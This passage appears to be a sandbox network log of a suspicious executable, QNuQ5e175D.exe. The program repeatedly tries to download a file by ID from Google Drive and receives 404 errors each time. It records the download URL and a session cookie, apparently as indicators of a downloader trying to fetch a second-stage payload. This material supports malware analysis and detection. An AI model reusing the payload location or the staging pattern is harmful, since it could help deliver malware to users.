2025-01-11 04:06:42 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:42 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-RuILr8t6HAsshaoEvAzHNg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.11	50017	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:42 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:43 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4CtvgiuzNqD6Vp4OJIXMHd5AkBnmPak_yjkwBEC2qLo3aQqzH-pELs82C9NkGaZlM18Qir1bk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:43 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Dv_-MqUASgVv1_WCykdIkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:43 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 67 57 76 66 6b 4d 31 34 64 48 4f 6a 36 6c 36 63 6b 70 43 46 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="HgWvfkM14dHOj6l6ckpCFg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.11	50018	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:44 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:44 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:44 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-sI519aV0vLyc2pgF6Uvtcg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.11	50019	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:45 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:45 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTj8JpwWhEFWVkjuaiMhDXKL-ZHcYljt3uPUA7vCdeWVbbsFAhWrHngsJhYyhFhb1LD Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:45 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-tBW8Fb9UJRGoHgcjviWd5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:45 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 72 4e 77 33 67 6a 56 36 50 4c 6a 35 4b 71 61 4e 6a 4f 56 41 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="crNw3gjV6PLj5KqaNjOVAg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.11	50020	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:46 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:46 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:46 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce---HDxx26Pe6ZcMgjAsIT3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.11	50021	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:47 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:47 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgSHHEp5YFj3HNU3hqZ1s2vIpBX5B2251aM3rioI1an75eyF2MfLVVdNZ0fT78X3ewRjcBJ7XPA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:47 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-VSNeLRql5daDZf_dYffKag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:47 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 5a 64 75 48 4c 5f 57 79 76 75 66 67 43 33 57 5a 7a 70 49 74 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="eZduHL_WyvufgC3WZzpItQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.11	50022	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:48 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:48 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:48 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-oOcdgzfFmDD0CAtTko-x3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.11	50023	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:49 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:50 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQILz_p_oTbhPoBahKB_UfXzbmKckVELPV23vZTVrk7MPddQrdnwJuqaQdUJr6Y5RJf Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:49 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-7WRZPqyN5fOr8bAbNk44qQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:50 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 39 55 4d 75 75 65 41 30 45 33 37 58 32 32 6c 6d 69 73 5f 32 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="09UMuueA0E37X22lmis_2g">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.11	50024	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:50 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
